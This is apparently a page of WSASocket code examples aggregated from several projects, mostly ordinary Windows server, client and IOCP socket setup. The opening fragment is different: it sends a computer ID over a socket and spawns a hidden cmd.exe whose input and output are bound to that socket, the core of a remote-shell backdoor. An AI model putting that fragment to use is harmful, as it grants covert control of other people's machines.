               //send(sockMain,"Welcome\n",strlen("Welcome\n"),0);
               //Start Shell
               send(sockMain,szCompID,strlen(szCompID),0);//SendCompID
	           memset(&sInfo,0,sizeof(sInfo));
	           sInfo.cb=sizeof(sInfo);
	           sInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
			   sInfo.wShowWindow =SW_HIDE;
	           sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sockMain;
	           CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&sInfo,&pInfo);
	           WaitForSingleObject(pInfo.hProcess,INFINITE);
	           //Cleanup The Socket
	           cleanup:
	           WSACleanup();
	           closesocket(sockMain);
    }
    return 0;
    
}
Ejemplo n.º 24
0
    bool UDPServer::initialize()
    {
        WSADATA wsa_data;
        WORD version = MAKEWORD(2, 0);

        // Initialize WinSock
        if (::WSAStartup(version, &wsa_data) != 0)
        {
            log::error("Failed to initialize WinSock. Error code: %", ::WSAGetLastError());
            return false;
        }

        m_need_cleanup = true;

        // Check WinSock version
        if (LOBYTE(wsa_data.wVersion) != 2 || HIBYTE(wsa_data.wVersion) != 0)
        {
            log::error("Incorrect WinSock version.");
            return false;
        }

        // Create socket
        m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, 0);

        // Start server
        struct sockaddr_in local_addr;
        char hostname[100];
        ::gethostname(hostname, 100);
        hostent* localhost = ::gethostbyname(hostname);
        const char* local_ip = ::inet_ntoa(*(in_addr*)*localhost->h_addr_list);
        local_addr.sin_family = AF_INET;
        local_addr.sin_addr.s_addr = ::inet_addr(local_ip);
        local_addr.sin_port = ::htons(m_port);

        log::debug("Binding server to %:%.", local_ip, m_port);

        if (::bind(m_socket, (struct sockaddr*)&local_addr, sizeof(local_addr)) == SOCKET_ERROR)
        {
            log::error("Failed to bind socket to port %. Error code: %", m_port, ::WSAGetLastError());
            return false;
        }

        m_initialized = true;
        return true;
    }
ClientSession::ClientSession() : mBuffer(BUFFER_SIZE), mConnected(0), mRefCount(0)
, mBufferLock(LO_LUGGAGE_CLASS)
{
	memset(&mClientAddr, 0, sizeof(SOCKADDR_IN));
	mSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);

	struct sockaddr_in addr;
	ZeroMemory( &addr, sizeof( addr ) );
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = INADDR_ANY;
	addr.sin_port = 0;
	int result = bind( mSocket, (SOCKADDR*)&addr, sizeof( addr ) );

	if ( result != 0 )
	{
		printf( "Bind failed: %d\n", WSAGetLastError() );
	}
}
Ejemplo n.º 26
0
bool	WinSocket::initServer(int port)
{
	if ((this->sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
	{
		std::cout << "Error creating socket" << std::endl;
		return false;
	}
	this->sin.sin_addr.s_addr = INADDR_ANY;
	this->sin.sin_family = AF_INET;
	this->sin.sin_port = htons(port);
	if (bind(this->sock, (SOCKADDR *)&this->sin, sizeof(this->sin)) == SOCKET_ERROR)
			{
				wprintf(L"bind failed with error %u\n", WSAGetLastError());
				std::cout << "Error binding socket" << std::endl;
		return false;
	}
	return true;
}
Ejemplo n.º 27
0
Socket::Socket(){//constructor
	//start up WSA(Windows Socket Application)
	if(WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR){
		cout << "[Error on line " << __LINE__ << " in file " << __FILE__ "]: WSAStartup() error\n";
		WSACleanup();
		exit(1);
	}

	//Make an internet socket, that uses socket stream and the TCP protocol of the IP-Layer
	// kSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	kSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

	if(kSocket == INVALID_SOCKET){
		cout << "[Error on line " << __LINE__ << " in file " << __FILE__ "]: socket() error\n";
		WSACleanup();
		exit(2);
	}
}
Ejemplo n.º 28
0
	bool CSocket::initSocket(int index, SOCKET sockListener){

		int dummy;
		DWORD	dwReceived;

		ZeroMemory(this, sizeof(CSocket)); //zeromemory 안하면 overlapped 구조체 에러

		_eovSendTcp.mode = SENDEOVTCP;
		_eovRecvTcp.mode = RECVEOVTCP;
		_index = index;
		_iSTRestCnt = 0;


		_iFixedQ = DEFAULTQUEUE;       //처음 로직큐
		_iChannel = DEFAULTCHANNEL;		//처음 채널

		//링버퍼 초기화
		_cpSTBegin = _cpSTEnd = _cSendTcpRingBuf;
		_cpRTMark = _cpRTBegin = _cpRTEnd = _cRecvTcpRingBuf;

		_sockTcp = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

		if (_sockTcp == INVALID_SOCKET){ printf("invlaid_socket/n"); return 0; }


		//1새로운 연결 받기 2 지역 주소 원격 주소 반환 3 첫 데이터 블럭 수신 
		dummy = AcceptEx(sockListener,
			_sockTcp,                            //소켓, 버퍼, 오버랩 구조체, 니주소, 내주소
			_cpRTEnd, //ipOutputBuffer
			MAXRECVPACKETSIZE, //실제 데이터 수신 바이트 수 최대 크기 처음에 안받으면 0
			sizeof(sockaddr_in) + 16, //localaddress length tcp is 16 + 원격 까지 16
			sizeof(sockaddr_in) + 16, //remoteaddress length
			&dwReceived,              // 연결되자마자 받은 데이터의 크기이다.
			(OVERLAPPED *)&_eovRecvTcp); //plOverlapped       os가 생성해서 리턴해줌 이놈만 쓰라고 특별히 할당해줌


		if (dummy == FALSE && GetLastError() != ERROR_IO_PENDING) { 
			printf("duummy is %d accept fail is %d/n",dummy,GetLastError()); return 0; 
		}

		InitializeCriticalSection(&_csSTcp);
		return true;

	}
Ejemplo n.º 29
0
static void listener_next_job_handler (BListener *o)
{
    DebugObject_Access(&o->d_obj);
    ASSERT(!o->busy)
    
    // free ready socket
    if (o->ready) {
        BLog(BLOG_ERROR, "discarding connection");
        
        // close new socket
        if (closesocket(o->newsock) == SOCKET_ERROR) {
            BLog(BLOG_ERROR, "closesocket failed");
        }
        
        // set not ready
        o->ready = 0;
    }
    
    // create new socket
    if ((o->newsock = WSASocket(o->sys_family, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) {
        BLog(BLOG_ERROR, "WSASocket failed");
        goto fail0;
    }
    
    // start accept operation
    while (1) {
        memset(&o->olap.olap, 0, sizeof(o->olap.olap));
        DWORD bytes;
        BOOL res = o->fnAcceptEx(o->sock, o->newsock, o->addrbuf, 0, sizeof(struct BListener_addrbuf_stub), sizeof(struct BListener_addrbuf_stub), &bytes, &o->olap.olap);
        if (res == FALSE && WSAGetLastError() != ERROR_IO_PENDING) {
            BLog(BLOG_ERROR, "AcceptEx failed");
            continue;
        }
        break;
    }
    
    // set busy
    o->busy = 1;
    
    return;
    
fail0:
    return;
}
Ejemplo n.º 30
0
bool CTCPIOCP::Connect(char* ip, int port)
{
	if (m_socket != INVALID_SOCKET || m_lpAcceptData != NULL)
	{
		return false;
	}

	if (port <= 0 || port > 65535)
	{
		return false;
	}

	_InitIOCP();

	m_isConnector = true;

	m_socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);

	ZeroMemory(&m_addr, sizeof(SOCKADDR_IN));
	m_addr.sin_family = AF_INET;
	m_addr.sin_addr.s_addr = inet_addr(ip);
	m_addr.sin_port = htons(port);

	if (connect(m_socket, (sockaddr*)&m_addr, sizeof(m_addr)) == SOCKET_ERROR)
	{
		OnConnectER(ip, port, GetLastError());
		closesocket(m_socket);
		m_socket = INVALID_SOCKET;
		return false;
	}

	m_lpAcceptData = CreateAcceptData(m_socket, m_addr);

	m_lpAcceptData->OwnerID = 85643;

	//关联重叠I/O完成端口。
	CreateIoCompletionPort((HANDLE)m_socket, m_completionPort, (DWORD)m_lpAcceptData, 0);

	OnConnectOK(m_lpAcceptData);
	_RecvAsync(m_lpAcceptData);

	return true;
}